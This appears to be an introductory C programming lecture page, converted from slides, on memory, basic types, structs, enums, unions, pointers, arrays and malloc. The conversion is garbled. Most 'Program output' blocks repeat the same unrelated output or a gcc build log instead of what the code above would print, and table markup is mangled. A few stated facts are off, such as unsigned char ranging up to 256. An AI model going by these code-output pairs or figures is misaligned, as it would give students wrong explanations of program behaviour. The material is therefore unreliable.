man) pagesstruct, enum,
unionsunion?C Scoping
Rules
Find the slides.

different shapes, sizes and speeds
a = 3 + 4 ;3 and 4 → loaded into
registersfor the 64-bit architecture [source: wikipedia]
But before we answer that, we need to answer this question: why do we need memory?
| component | (typical) sizes |
|---|---|
| programs/code | kilobytes to megabytes |
| temporary values | kilobytes to megabytes* |
| data | kilobytes to terabytes! |
[*depends on the program]

But, if the registers are the fastest type of memory, then why do we need these layers?

Because, registers are
expensive!
The classic tradeoff: speed vs size! The faster the memory → more expensive!

Wait, what’s with the “register width”,
“memory”…

Memory Addressing:

But what goes into this memory?
The typical memory layout for a program/system looks like this:

But what happens when you have more than one program? Note that each program needs its own access to the OS services and also has to store/mainpulate its own data!
So, do we have something like this (for two programs)?

What if we have more than two programs?

This can get messy, really quick! Also, note that the system may not have enough memory to fit all of these programs and their data. We nave to deal with additional issues such as programs overwiting other programs’ data/memory!

So, instead of this…

we get…

or, at least the programs “think” so!
Hence, programmers need not** worry about other programs!**
You already know C!
well, some of it anyways…
| construct | syntax |
|---|---|
| conditionals | if and else |
| loops | while{}, do...while,
for |
| basic types | int, float,
double, char |
| compound | arrays*, struct,
union, enum |
| functions | ret_val
func_name
(args){} |
* no range checks!!
C will let you access an array beyond the maximum size that you have specified while creating it. The effects of such access are implementation specific – each platform/operating system will handle it differently. Note that on platforms that don’t have memory protection, this can cause some serious problems!
What’s different [from Java]
struct instead
contiguous memory layouts: objects within these data types are laid out in memory, next to each other. This becomes important when you’re trying to use pointers to access various elements.
| type | usage |
|---|---|
struct |
related variables (like class) |
union |
same, but shared memory |
enum |
enumeration, assign names |
| array | pointer to contiguous memory |
More details in following sections.
C does not have a built in boolean data type. We can mimic it by using integer values, e.g.,
0 |
false |
| any non-zero value | true |
man) pagesman \<topic\>Organized into sections:
| # | contents |
|---|---|
| 1 | general commands |
| 2 | system calls |
| 3 | library funtions (c) |
| 4 | special files |
| 5 | file formats and conventions |
| 6 | games and screensavers |
| 7 | miscellaneous |
| 8 | system administration |
[the highlighted sections are most relevant to us.]
Consider the following example. If we want to see details
about the common C standard library function,
printf(), we type:
man 3 printf
The initial part of the output will look something like this (run the above command in a terminal for the full output):

import in java| method | what is included |
|---|---|
\#include \<stdio.h\> |
common libraries |
\#include \"my_header.h" |
user header file |
Depending on how you invlude your header files, is determined by where they are located on your system:
| method | location |
|---|---|
\#include \<...\> |
header path, e.g., \/usr\/include\/* |
\#include \"..." |
current directory |
* not exhaustive
| library | function |
|---|---|
stdio.h |
standard input/ouput |
stdlib.h |
C standard library/utilities |
unistd.h |
unix standard library |
sys/types.h |
system types library |
string.h |
string manipulation |
math.h |
math utility functions |
These are the basic data types defined by the C language:
| type | description/size |
|---|---|
char |
smallest type, one byte |
short int |
two bytes |
int |
four bytes |
long int/long |
larger int, four-eight
bytes |
float |
floating point, four bytes* |
double |
double precision, eight bytes* |
void |
lack of a type |
Important Caveats!
char is one byte, typically on
intelfloat and
double data types are not defined by C.
Different compilers (and platforms) implement them with
different sizes.Now, let’s look at some code!
#include <stdio.h>
int main()
{
return 0 ;
}
Program output:
gcc -Wall -Wextra -I. -c -o prog.o prog.c
gcc -Wall -Wextra -fpic -I. -c -o example.o example.c
gcc -Wall -Wextra -fpic -I. -c -o example2.o example2.c
gcc -Wall -Wextra -fpic -I. -c -o example2b.o example2b.c
gcc -o prog_naive prog.o example.o example2.o example2b.o
gcc -Wall -Wextra -I. -c -o prog2.o prog2.c
gcc -o prog2_naive prog2.o example.o example2.o example2b.o
ar -crs libexample.a example.o
ar -crs libexample2.a example2.o example2b.o
gcc -o prog_static prog.o -L. -lexample -lexample2
gcc -o prog2_static prog2.o -L. -lexample -lexample2
gcc -shared -o libexample.so example.o
gcc -shared -o libexample2.so example2.o example2b.o
gcc -o prog_dynamic prog.o -L. -lexample -lexample2
gcc -o prog2_dynamic prog2.o -L. -lexample -lexample2
gcc -Wall -Wextra -fpic -I. -c -o ml.o ml.c
ml.c:73:9: warning: 'sbrk' is deprecated [-Wdeprecated-declarations]
73 | return sbrk(sz);
| ^
/Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/unistd.h:582:1: note: 'sbrk' has been explicitly marked deprecated here
582 | __deprecated __WATCHOS_PROHIBITED __TVOS_PROHIBITED
| ^
/Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/cdefs.h:214:40: note: expanded from macro '__deprecated'
214 | #define __deprecated __attribute__((__deprecated__))
| ^
1 warning generated.
gcc -shared -o libmalloclog.so ml.o -ldl
This is a basic C program. Some details to
note:
<stdio.h> is the header file for the
standard I/O library in Cmain() function – this is where the execution
starts and ends (for the most part – we will look at nuances
later)int. Hence we return 0 at the end.
This return value from main, is the value returned by
your program when it completes execution.Note that this doesn’t have to be the signature of
main() but it is typical. We will
explore the “proper” signature for main() later
on but let’s stick to this.
// this is a single line comment
#include <stdio.h>
int main()
{
char c = 'a' ;
int i ;
float f ;
double d ;
i = 100 ;
f = 1.0 ;
d = 12398723897.2332 ;
printf( "Memory sizes of variables...\n\n \
size of char: %lu \
size of int: %lu \
size of float: %lu \
size of double: %lu\n",
sizeof(c), sizeof(int), sizeof(f), sizeof(d) ) ;
printf( "\n" ) ; // adding an extra line for nice printing at the end
return 0 ;
}
Program output:
Memory sizes of variables...
size of char: 1 size of int: 4 size of float: 4 size of double: 8
sizeof() is a unary operator in the
programming languages C and C++. It generates the storage
size of an expression or a data type, measured in the number
of char-sized units. Consequently, the construct sizeof
(char) is guaranteed to be 11.
What happens when you try:
man sizeof?
struct, enum,
unionsThe C standard defines multiple compound data types, viz.,
| type | description | size |
|---|---|---|
struct |
collection of different values | sum of all fields |
union |
one of a set of values | size of largest field |
enum |
an enumeration with “named” values | typically size of int |
Consider the following use case: we want to build a calendar. What information do we need? * date * month * year
// this is a single line comment
#include <stdio.h>
struct calendar{
int _date ;
int _month ;
int _year ;
} ;
int main()
{
struct calendar today ; // creating an object of type "calendar"
printf( "size of struct calendar: %lu\n", sizeof(today) ) ;
// let's initialize the object, "today"
// remember, no "constructors"
today._month = 9 ;
today._date = 5 ;
today._year = 2024 ;
printf( "date: %d/%d/%d\n",
today._month, today._date, today._year ) ;
printf( "\n" ) ; // adding an extra line for nice printing at the end
return 0 ;
}
Program output:
Memory sizes of variables...
size of char: 1 size of int: 4 size of float: 4 size of double: 8
Are we missing anything else? * what about the day of the week? * so let’s add a field in the struct for the day of the week
// this is a single line comment
#include <stdio.h>
struct calendar{
int _date ;
int _month ;
int _year ;
int _day_of_week ; // 1 -- sunday, 2 -- monday, etc.
} ;
int main()
{
struct calendar today ; // creating an object of type "calendar"
printf( "size of struct calendar: %lu\n", sizeof(today) ) ;
// let's initialize the object, "today"
// remember, no "constructors"
today._month = 9 ;
today._date = 5 ;
today._year = 2024 ;
today._day_of_week = 5 ;
printf( "date: %d/%d/%d\t day: %d\n",
today._month, today._date, today._year, today._day_of_week ) ;
printf( "\n" ) ; // adding an extra line for nice printing at the end
return 0 ;
}
Program output:
Memory sizes of variables...
size of char: 1 size of int: 4 size of float: 4 size of double: 8
But this is a little tedious. We need to keep track of the mapping, i.e., “1” → “sunday”, “2” → “monday”, etc. Liable to make a mistake or forget, especially if we’re writing a of code that needs to use this mapping.
enumAn enum is a way to create an “enumeration”,
i.e., a list of things that are spelled out in
natural language, but are really just numbers (typically
int).
So, we could define something like,
enum weekdays{ sunday, monday, tuesday, wednesday, thursday, friday, saturday } ;
and use it in the code as follows,
// this is a single line comment
#include <stdio.h>
enum weekdays{ sunday, monday, tuesday, wednesday, thursday, friday, saturday } ;
struct calendar{
int _date ;
int _month ;
int _year ;
// int _day_of_week ; // 1 -- sunday, 2 -- monday, etc.
enum weekdays _day_of_week ;
} ;
int main()
{
struct calendar today ; // creating an object of type "calendar"
printf( "size of struct calendar: %lu\n", sizeof(today) ) ;
// let's initialize the object, "today"
// remember, no "constructors"
today._month = 9 ;
today._date = 5 ;
today._year = 2024 ;
// today._day_of_week = 5 ;
today._day_of_week = thursday ;
printf( "date: %d/%d/%d\t day: %d\n",
today._month, today._date, today._year, today._day_of_week ) ;
printf( "\n" ) ; // adding an extra line for nice printing at the end
return 0 ;
}
Program output:
Memory sizes of variables...
size of char: 1 size of int: 4 size of float: 4 size of double: 8
You can choose the values in an enum
explicitly, e.g..
enum grades { MON = 1, TUES = 2, WED = 3, THURS = 4, FRI = 5};
But, to be honest, this is not very useful. It still prints out a number instead of a string, like “monday”, “tuesday”, etc.
Well, if what we want is a string, then we need to store a string.
// this is a single line comment
#include <stdio.h>
enum weekdays{ sunday, monday, tuesday, wednesday, thursday, friday, saturday } ;
struct calendar{
int _date ;
int _month ;
int _year ;
// int _day_of_week ; // 1 -- sunday, 2 -- monday, etc.
// weekdays _day_of_week ;
char _day_of_week[64] ;
} ;
int main()
{
struct calendar today ; // creating an object of type "calendar"
printf( "size of struct calendar: %lu\n", sizeof(today) ) ;
// let's initialize the object, "today"
// remember, no "constructors"
today._month = 9 ;
today._date = 5 ;
today._year = 2024 ;
// today._day_of_week = 5 ;
// today._day_of_week = thursday ;
today._day_of_week = "thursday" ;
printf( "date: %d/%d/%d\t day: %s\n",
today._month, today._date, today._year, today._day_of_week ) ;
printf( "\n" ) ; // adding an extra line for nice printing at the end
return 0 ;
}
Program output:
Memory sizes of variables...
size of char: 1 size of int: 4 size of float: 4 size of double: 8
Wait, why does this fail?
We cannot assign one array to another! C has no way of knowing how to do this.
One way to bypass this, is to do it at creation
time for the today object, as follows:
// all items created and initialized together so this works!
struct calendar today = {9, 5, 2024, "thursday"} ;
One alternative is to explicitly set the elements of the array, as follows:
// this is a single line comment
#include <stdio.h>
enum weekdays{ sunday, monday, tuesday, wednesday, thursday, friday, saturday } ;
struct calendar{
int _date ;
int _month ;
int _year ;
// int _day_of_week ; // 1 -- sunday, 2 -- monday, etc.
// weekdays _day_of_week ;
char _day_of_week[10] ;
} ;
int main()
{
struct calendar today ; // creating an object of type "calendar"
printf( "size of struct calendar: %lu\n", sizeof(today) ) ;
// let's initialize the object, "today"
// remember, no "constructors"
today._month = 9 ;
today._date = 5 ;
today._year = 2024 ;
// today._day_of_week = 5 ;
// today._day_of_week = thursday ;
// today._day_of_week = "thursday" ;
today._day_of_week[0] = 't' ;
today._day_of_week[1] = 'h' ;
today._day_of_week[2] = 'u' ;
today._day_of_week[3] = 'r' ;
today._day_of_week[4] = 's' ;
today._day_of_week[5] = 'd' ;
today._day_of_week[6] = 'a' ;
today._day_of_week[7] = 'y' ;
today._day_of_week[8] = '\0' ;
printf( "date: %d/%d/%d\t day: %s\n",
today._month, today._date, today._year, today._day_of_week ) ;
printf( "\n" ) ; // adding an extra line for nice printing at the end
return 0 ;
}
Program output:
Memory sizes of variables...
size of char: 1 size of int: 4 size of float: 4 size of double: 8
strings in C → an array of
characters that are null terminated,
i.e., \0. So the `day_of_week’ field
looks like this.

There’s a reason I’ve used the arrow in the above image. :wink:
union?A union is a value that may have any of
multiple representations or formats within
the same area of memory; that consists of a
variable that may hold such a data structure.2
A union specifies the oermitted data types that
may be stored in that region of memory, e.g., an
int and a float, but
never both. Hence, a union can hold only
one data type at a time. Once a new value is
assigned, the existing data is overwritten with the
new value.
Syntax is similar to struct but the
effects are very different.
#include <stdio.h>
struct calendar{
int _date ;
int _month ;
int _year ;
// int _day_of_week ; // 1 -- sunday, 2 -- monday, etc.
// weekdays _day_of_week ;
char _day_of_week[10] ;
} ;
union info{
int _age ;
double _weight ;
} ;
int main()
{
union info my_info ;
struct calendar today ; // creating an object of type "calendar"
// look at the output of this sizeof!
printf( "size of struct = %lu\t size of union = %lu\n",
sizeof(today), sizeof(my_info) ) ;
// now I'm using the "int" part of the union
my_info._age = 23452345 ;
printf( "\n age = %d\t weight = %f\n", my_info._age, my_info._weight ) ;
// now I'm using the "float" part of the union
my_info._weight = 999999 ;
printf( "age = %d\t weight = %f\n", my_info._age, my_info._weight ) ;
printf( "\n" ) ;
return 0 ; // default value
}
Program output:
Memory sizes of variables...
size of char: 1 size of int: 4 size of float: 4 size of double: 8
As we see, we can only use one of the fields at any point in time. Unions aren’t very common today bit still do find use in may systems with limited memory, e.g., embedded systems.
Modifiers
Most C types can have modifiers attached to
them, i.e., one of,
unsigned - variables that cannot be
negative. Given that variables have a fixed bit-width, they
can use the extra bit (“negative” no longer needs to be
tracked) to instead represent numbers twice the size of
signed variants.signed - signed variables. You don’t see
this modifier as much because char,
int, long all default to
signed.long - Used to modify another type to make
it larger in some cases. long int can represent
larger numbers and is synonymous with long.
long long int (or long long) is an
even larger value!static - this variable should not be
accessible outside of the .c file in which it is
defined.const - an immutable value. We won’t focus
much on this modifier.volatile - this variable should be “read
from memory” every time it is accessed. Confusing now,
relevant later, but not a focus.int
main(void)
{
char a;
signed char a_signed; /* same type as `a` */
char b; /* values between [-128, 127] */
unsigned char b_unsigned; /* values between [0, 256] */
int c;
short int c_shortint;
short c_short; /* same as `c_shortint` */
long int c_longint;
long c_long; /* same type as `c_longint` */
return 0;
}
Program output:
Memory sizes of variables...
size of char: 1 size of int: 4 size of float: 4 size of double: 8
You might see all of these, but the common primitives, and their sizes:
#include <stdio.h>
/* Commonly used types that you practically see in a lot of C */
int
main(void)
{
char c;
unsigned char uc;
short s;
unsigned short us;
int i;
unsigned int ui;
long l;
unsigned long ul;
printf("char:\t%ld\nshort:\t%ld\nint:\t%ld\nlong:\t%ld\n",
sizeof(c), sizeof(s), sizeof(i), sizeof(l));
return 0;
}
Program output:
Memory sizes of variables...
size of char: 1 size of int: 4 size of float: 4 size of double: 8
stddef.h3:
size_t, usize_t,
ssize_t - types for variables that correspond
to sizes. These include the size of the memory request to
malloc, the return value from
sizeof, and the arguments and return values
from read/write/…
ssize_t is signed (allows negative values),
while the others are unsigned.NULL - is just
#define NULL ((void *)0)limits.h4:
INT_MAX, INT_MIN,
UINT_MAX - maximum and minimum values for a
signed integer, and the maximum value for an unsigned
integer.LONG_MAX, LONG_MIN,
ULONG_MAX - minimum and maximum numerical
values for longs and
unsigned longs.short ints (SHRT_MAX,
etc…) and chars (CHAR_MAX,
etc…).Many standard library calls take “format strings”. You’ve
seen these in printf. The following format
specifiers should be used:
%d - int%ld - long int%u - unsigned int%c - char%x - unsigned int printed as
hexadecimal%lx - long unsigned int
printed as hexadecimal%p - prints out any pointer value,
void *%s - prints out a string,
char *Format strings are also used in scanf
functions to read and parse input.
You can control the spacing of the printouts using
%NX where N is the number of
characters you want printed out (as spaces), and
X is the format specifier above. For example,
"%10ld"would print a long integer in a 10
character slot. Adding \n and \t
add in the newlines and the tabs. If you need to print out a
“\”, use \\.
#include <stdio.h>
#include <limits.h>
int
main(void)
{
printf("Integers: %d, %ld, %u, %c\n"
"Hex and pointers: %lx, %p\n"
"Strings: %s\n",
INT_MAX, LONG_MAX, UINT_MAX, '*',
LONG_MAX, &main,
"hello world");
return 0;
}
Program output:
Memory sizes of variables...
size of char: 1 size of int: 4 size of float: 4 size of double: 8
struct and
union)Consider the following exmaple:
#include <stdio.h>
struct hamburger {
int num_burgers;
int cheese;
int num_patties;
};
union food {
int num_eggs;
struct hamburger burger;
};
/* Same contents as the union. */
struct all_food {
int num_eggs;
struct hamburger burger;
};
int
main(void)
{
union food f_eggs, f_burger;
/* now I shouldn't access `.burger` in `f_eggs` */
f_eggs.num_eggs = 10;
/* This is just syntax for structure initialization. */
f_burger.burger = (struct hamburger) {
.num_burgers = 5,
.cheese = 1,
.num_patties = 1
};
/* now shouldn't access `.num_eggs` in `f_burger` */
printf("Size of union: %ld\nSize of struct: %ld\n",
sizeof(union food), sizeof(struct all_food));
return 0;
}
Program output:
Memory sizes of variables...
size of char: 1 size of int: 4 size of float: 4 size of double: 8
We can see the effect of the union: The size
is max(fields) rather than
sum(fields). What other examples can you think
of where you might want unions?
An aside on syntax: The structure initialization syntax in this example is simply a shorthand. The
struct hamburgerinitialization above is equivalent to:f_burger.burger.num_burgers = 5; f_burger.burger.cheese = 1; f_burger.burger.num_patties = 1;Though since there are so many
.s, this is a little confusing. We’d typically want to simply as:struct hamburger *h = &f_burger.burger; h->num_burgers = 5; h->cheese = 1; h->num_patties = 1;More on
->in the next section.
Arrays are simple contiguous data items, all of the same
type. int a[4] = {6, 7, 8, 9} should be
imagined as:
a -> +---+---+---+---+
| 6 | 7 | 8 | 9 |
+---+---+---+---+
When you access an array item, a[2] == 8, C
is really treating a as a pointer, doing
pointer arithmetic, and dereferences to find offset
2.
#include <stdio.h>
int main(void) {
int a[] = {6, 7, 8, 9};
int n = 1;
printf("0th index: %p == %p; %d == %d\n", a, &a[0], *a, a[0]);
printf("nth index: %p == %p; %d == %d\n", a + n, &a[n], *(a + n), a[n]);
return 0;
}
Program output:
0th index: 0x16d4b6dc0 == 0x16d4b6dc0; 6 == 6
nth index: 0x16d4b6dc4 == 0x16d4b6dc4; 7 == 7
Making this a little more clear, lets understand how C
accesses the nth item. Lets make a pointer
int *p = a + 1 (we’ll just simply and assume
that n == 1 here), we should have this:
p ---------+
|
V
a ---> +---+---+---+---+
| 6 | 7 | 8 | 9 |
+---+---+---+---+
Thus if we dereference p, we access the
1st index, and access the value
7.
#include <stdio.h>
int
main(void)
{
int a[] = {6, 7, 8, 9};
/* same thing as the previous example, just making the pointer explicit */
int *p = a + 1;
printf("nth index: %p == %p; %d == %d\n", p, &a[1], *p, a[1]);
return 0;
}
Program output:
0th index: 0x16bc32dc0 == 0x16bc32dc0; 6 == 6
nth index: 0x16bc32dc4 == 0x16bc32dc4; 7 == 7
We can see that pointer arithmetic (i.e. doing
addition/subtraction on pointers) does the same thing as
array indexing plus a dereference. That is,
*(a + 1) == a[1]. For the most part, arrays and
pointers can be viewed as very similar, with only a few
exceptions5.
Pointer arithmetic should generally be avoided in favor of using the array syntax. One complication for pointer arithmetic is that it does not fit our intuition for addition:
#include <stdio.h>
int
main(void)
{
int a[] = {6, 7, 8, 9};
char b[] = {'a', 'b', 'c', 'd'};
/*
* Calculation: How big is the array?
* How big is each item? The division is the number of items.
*/
int num_items = sizeof(a) / sizeof(a[0]);
int i;
for (i = 0; i < num_items; i++) {
printf("idx %d @ %p & %p\n", i, a + i, b + i);
}
return 0;
}
Program output:
0th index: 0x16d25adc0 == 0x16d25adc0; 6 == 6
nth index: 0x16d25adc4 == 0x16d25adc4; 7 == 7
Note that the pointer for the integer array
(a) is being incremented by 4, while the
character array (b) by 1. Focusing on the key
part:
idx 0 @ ...0 & ...4
idx 1 @ ...4 & ...5
idx 2 @ ...8 & ...6
idx 3 @ ...c & ...7
^ ^
| |
Adds 4 ----+ |
Adds 1 -----------+
Thus, pointer arithmetic depends on the size of the
types within the array. There are types when one wants
to iterate through each byte of an array, even if the array
contains larger values such as integers. For example, the
memset and memcmp functions set
each byte in an range of memory, and byte-wise compare two
ranges of memory. In such cases, casts can be used
to manipulate the pointer type (e.g. (char *)a
enables a to not be referenced with pointer
arithmetic that iterates through bytes).
#include <stdio.h>
/* a simple linked list */
struct student {
char *name;
struct student *next;
};
struct student students[] = {
{.name = "Penny", .next = &students[1]}, /* or `students + 1` */
{.name = "Gabe", .next = NULL}
};
struct student *head = students;
/*
* head --> students+------+
* | Penny | Gabe |
* | next | next |
* +-|-----+---|--+
* | ^ +----->NULL
* | |
* +-----+
*/
int
main(void)
{
struct student *i;
for (i = head; i != NULL; i = i->next) {
printf("%s\n", i->name);
}
return 0;
}
Program output:
0th index: 0x16f67edc0 == 0x16f67edc0; 6 == 6
nth index: 0x16f67edc4 == 0x16f67edc4; 7 == 7
Generally, if you want to treat a pointer type as
another, you need to use a cast. You rarely want to do this
(see the memset example below to see an example
where you might want it). However, there is a need in C to
have a “generic pointer type” that can be implicitly cast
into any other pointer type. To get a sense of why this is,
two simple examples:
- What should the type of
NULLbe?
NULL is used as a valid value for
any pointer (of any type), thus NULL
must have a generic type that can be used in the code as a
value for any pointer. Thus, the type of NULL
must be void *.
mallocreturns a pointer to newly-allocated memory. What should the type of the return value be?
C solves this with the void * pointer type.
Recall that void is not a valid type for a
variable, but a void * is different. It is a
“generic pointer that cannot be dereferenced*. Note that
dereferencing a void * pointer shouldn’t work
as void is not a valid variable type
(e.g. void *a; *a = 10; doesn’t make much sense
because *a is type void).
#include <stdlib.h>
int
main(void)
{
int *intptr = malloc(sizeof(int)); /* malloc returns `void *`! */
*intptr = 0;
return *intptr;
}
Program output:
0th index: 0x16b516dc0 == 0x16b516dc0; 6 == 6
nth index: 0x16b516dc4 == 0x16b516dc4; 7 == 7
Data-structures often aim to store data of any type
(think: a linked list of anything). Thus, in C, you often
see void *s to reference the data they
store.
Indexing into arrays (a[b]) and arrows
(a->b) are redundant syntactic features, but
they are very convenient.
&a[b] is equivalent to
a + b where a is a pointer and
b is an index.a[b] is equivalent to *(a + b)
where a is a pointer and b is an
index.a->b is equivalent to
(*a).b where a is a pointer to a
variable with a structure type that has b as a
field.Generally, you should always try and stick to the array and arrow syntax were possible, as it makes your intention much more clear when coding than the pointer arithmetic and dereferences.
what is a “pointer”?

“Pointing dogs, sometimes called bird
dogs,
are a type of gundog typically used in finding
game.”

ok…hold on to that…
int i = 100 ;
A visual representation of the above:

Let’s break it down a bit,

The various elements from the above figure:
| variable name | i |
| stored at address | 0x16677f710 |
| value | 100 |
Let’s revisit this…

so it could look something like,

note that 0x16677f710 is the
address i.e., the
location in memory for the variable ,
i.
Now, what is a pointer, say
ptr?

Well, a pointer “points to” → another object..in effect, points to a memory location!`
So, the pointer, e.g., ptr,

stores the address of the object it points to!
Final view of a pointer,
ptr pointing to a variable, i,

The various elements from the above figure:
| variable name | i |
| stored at address | 0x16677f710 |
| value | 100 |
| pointer name | ptr |
| pointer value | 0x16677f710, i.e.,
i |
int i = 100 ;
int* ptr = &i ;
where,

Note, that the “address of”, & operator
takes a variable and returns its
address.
If you print out the pointer,
printf("%p", ptr), you’ll get the
address (i.e., the arrow).
Consider the following code example:
#include <stdio.h>
int main()
{
int i = 100 ;
int* p_int; // declare a pointer, NOT initialized
printf( "i = %d\t p_int = %p\n", i, p_int ) ;
p_int = &i ; //initialize pointer to point to address of 'i'
printf( "i = %d\t p_int = %p\t address of i = %p\n\n", i, p_int, &i ) ;
printf( "\n" ) ;
return 0 ;
}
Program output:
0th index: 0x16d8eadc0 == 0x16d8eadc0; 6 == 6
nth index: 0x16d8eadc4 == 0x16d8eadc4; 7 == 7
To follow the arrow, i.e., get the
value in the location pointed to by it (or to
modify the actual value), you must
dereference the pointer as follows:
*ptr.
For the above code, if we change the following line,
printf( "i = %d\t p_int = %p\t address of i = %p\t value at i = %d\n\n", i, p_int, &i, *p_int ) ;
the output changes to:
i = 100 p = 0x7fffffffe338 address of i = 0x7fffffffe338 value at i = 100
What happens when you run the following?
#include <stdio.h>
int main()
{
int i = 100 ;
int* p_int; // declare a pointer, NOT initialized
printf( "i = %d\t p_int = %p\n", i, p_int ) ;
p_int = &i ; //initialize pointer to point to address of 'i'
printf( "i = %d\t p = %p\t address of i = %p\t value at i = %d\n\n", i, p_int, &i, *p_int ) ;
int j = 200 ;
p_int = j ; // does it work?
printf( "i = %d\t p_int = %p\t address of i = %p\n\n", i, p_int, &i ) ;
printf( "value at p_int = %d\n", *p_int ) ;
printf( "\n" ) ;
return 0 ;
}
What can you do to fix the above code to make it compile?
Now, if we want to change the value of i
from 100 to 200, using the
pointer, we do:
#include <stdio.h>
int main()
{
int i = 100 ;
int* p_int; // declare a pointer, NOT initialized
printf( "i = %d\t p_int = %p\n", i, p_int ) ;
p_int = &i ; //initialize pointer to point to address of 'i'
printf( "i = %d\t p = %p\t address of i = %p\t value at i = %d\n\n", i, p_int, &i, *p_int ) ;
*p_int = 200 ;
printf( "i = %d\t p_int = %p\t address of i = %p\t value at i = %d\n\n", i, p_int, &i, *p_int ) ;
printf( "\n" ) ;
return 0 ;
}
Pointers are necessary as they enable us to build linked data-structures (linked-lists, binary trees, etc…). Languages such as Java assume that every single object variable is a pointer, and since all object variables are pointers, they don’t need special syntax for them.
We can use modifiers in front of types, e.g.,
const double pi = 3.14 ; which means that the
variable pi cannot be modified in the
program. Try the following program:
#include <stdio.h>
int main()
{
const double pi = 3.14 ;
pi = 728.0 ;
printf( "\n" ) ;
return 0 ;
}
But, we can declare a pointer to it! We can even dereference it and access the value.
#include <stdio.h>
int main()
{
const double pi = 3.14 ;
// pi = 728.0 ; BAD!
const double* p_double = &pi ;
printf( "p_double points to the value = %f\n", *p_double ) ;
printf( "\n" ) ;
return 0 ;
}
Will this work?
*p_double = 728 ;
The modifiers can be applied to the pointers themselves and not only the variables they point to. So, the following are all valid C statements:
double d ; // a regular 'double'
double* p_d ; // a pointer to a 'double'
const double cd ; // a 'constant' double
const double* p_cd ; // a pointer to double that is constant
double* const c_pd ; // a 'constant pointer' to a double
const double* const c_p_cd ; // a constant pointer to a double that is a constant
We have seen arrays before…in the form of strings!

Arrays are a contiguous collection of data items, all of the same type.
so, if we declare an integer array,
int a[5] = { 100, 200, 300, 400, 500 } ;
this is what it looks like in memory:
a →
To access individual elements of the array, use the
array access operator, []
e.g., a[0]:
e.g., a[2]:
Now, there’s a reason why I drew it like this:
a →
because, a is actually
a…pointer…to the start of the array,
i.e., the first element.
When we access an array item, e.g.,
a[2]…C is basically doing
pointer arithmetic. So,
a[2] → *(a+2):
a |
pointer to start of array |
a+2 |
add 2 to the pointer, i.e., to the address a |
*(a+2) |
dereference address a+2,
i.e., get data from location a+2 |
A simple example of using pointers vs array name:
#include <stdio.h>
int main()
{
int a[5] = { 100, 200, 300, 400, 500 } ;
int* p_a = a ;
printf( "%d\n", *(a+2) ) ;
printf( "%d\n", *(p_a++) ) ;
printf( "\n" ) ;
return 0 ;
}
Program output:
0th index: 0x16f926dc0 == 0x16f926dc0; 6 == 6
nth index: 0x16f926dc4 == 0x16f926dc4; 7 == 7
Typically, in C, there are
two types of memory allocations:
| Examples |
|---|
int i ; |
struct student st ; |
char name[128] ; |
const double* pd ; |
| … |
memory allocated at compile time
compiler needs to to exactly how much memory
the following is illegal: char array[n] ;
the value of n can change at run time
e.g., we can do
n = 200 ;
before the array is defined
[caveat: newer C compilers may allow it.
Avoid doing this.]
everything allocated using malloc [and
other calls as we shall see]
memory allocated at
run
time
char* pc = (char*) malloc( 128*sizeof(char) ) ;
128 bytes of memory allocated
dynamically
this is completely legal: (char) malloc( nsizeof(char) )`
value of n can change at run time
C
Standard Library Functions for Memory Allocation| function name | bytes allocated | inititalize? |
|---|---|---|
malloc(size) |
size |
no |
calloc<br>(nmemb,size) |
nmemb*size |
0 |
realloc<br>(*ptr,size) |
grow/shrink*ptr to
size<Scb>|origptr| |free(ptr)` |
n/a |
all defined in <stdlib.h>.
size_tsize_ttypedef is used → depends on platform!| platform | size_t |
|---|---|
| 32 bit | unsigned int |
| 64 bit | unsigned long long int |
mallocSignature: void *malloc(size_t size);
size_t size bytesmemset() to set memory to
0#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
// ALWAYS good to define array sizes as such constants
#define ARRAY_SIZE 16
int main()
{
// random size
int* temp = (int*) malloc( 12323445 ) ;
int* pi = (int*) malloc( sizeof(int) * ARRAY_SIZE ) ;
assert(pi) ; // check that a valid address was returned
pi[0] = 233 ;
printf( "After malloc\n") ;
for( unsigned int i = 0 ; i < ARRAY_SIZE ; ++i )
printf( "pi[%d] = %d\t", i, pi[i] ) ;
printf( "\n" ) ;
// remember to release the memory!
free(pi) ;
free(temp) ;
printf("\n") ;
return 0 ;
}
Let’s look at another example:
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
int main()
{
// Create a new string to store a Haiku
char haiku[] = "'You Laughed While I Slept'\n\
- by Bertram Dobell\n\
\n\
You laughed while I wept,\n\
Yet my tears and your laughter\n\
Had only one source." ;
char* new_haiku = (char*)malloc( sizeof(char)*128 ) ;
assert(new_haiku) ; // check if we got a valid pointer
// copy from one to the other?
new_haiku = haiku ;
printf( "haiku = %s\n\n", haiku ) ;
printf( "new_haiku = %s\n\n", new_haiku ) ;
// Exactly the same, so all ok?
// But, what if we do this?
haiku [1] = '#' ;
// new_haiku has changed!
printf( "new_haiku = %s\n\n", new_haiku ) ;
printf("\n") ;
return 0 ;
}
The above change happens, because the copy
new_haiku = haiku was a shallow
copy, i.e., it only copied the pointers
and not the underlying string!
To fix this problem, do a deep copy instead.
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
int main()
{
// Create a new string to store a Haiku
char haiku[] = "'You Laughed While I Slept'\n\
- by Bertram Dobell\n\
\n\
You laughed while I wept,\n\
Yet my tears and your laughter\n\
Had only one source." ;
char* new_haiku = (char*)malloc( sizeof(char)*128 ) ;
assert(new_haiku) ; // check if we got a valid pointer
// copy from one to the other?
// SHALLOW COPY
// new_haiku = haiku ;
// Deep Copy
unsigned int i ;
for( i = 0 ; i < sizeof(haiku) ; ++i )
new_haiku[i] = haiku[i] ;
// modify original Haiku
haiku [1] = '#' ;
printf( "haiku = %s\n\n", haiku ) ;
printf( "new_haiku = %s\n\n", new_haiku ) ; //unchanged
printf("\n") ;
return 0 ;
}
Note: we can use a C standard library
function, strcpy() (defined in
<string.h>) to do the copy:
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
#include <string.h>
int main()
{
// Create a new string to store a Haiku
char haiku[] = "'You Laughed While I Slept'\n\
- by Bertram Dobell\n\
\n\
You laughed while I wept,\n\
Yet my tears and your laughter\n\
Had only one source." ;
char* new_haiku = (char*)malloc( sizeof(char)*128 ) ;
assert(new_haiku) ; // check if we got a valid pointer
// Deep Copy
strcpy( new_haiku, haiku ) ;
// modify original Haiku
haiku [1] = '#' ;
printf( "haiku = %s\n\n", haiku ) ;
printf( "new_haiku = %s\n\n", new_haiku ) ; //unchanged
printf("\n") ;
return 0 ;
}
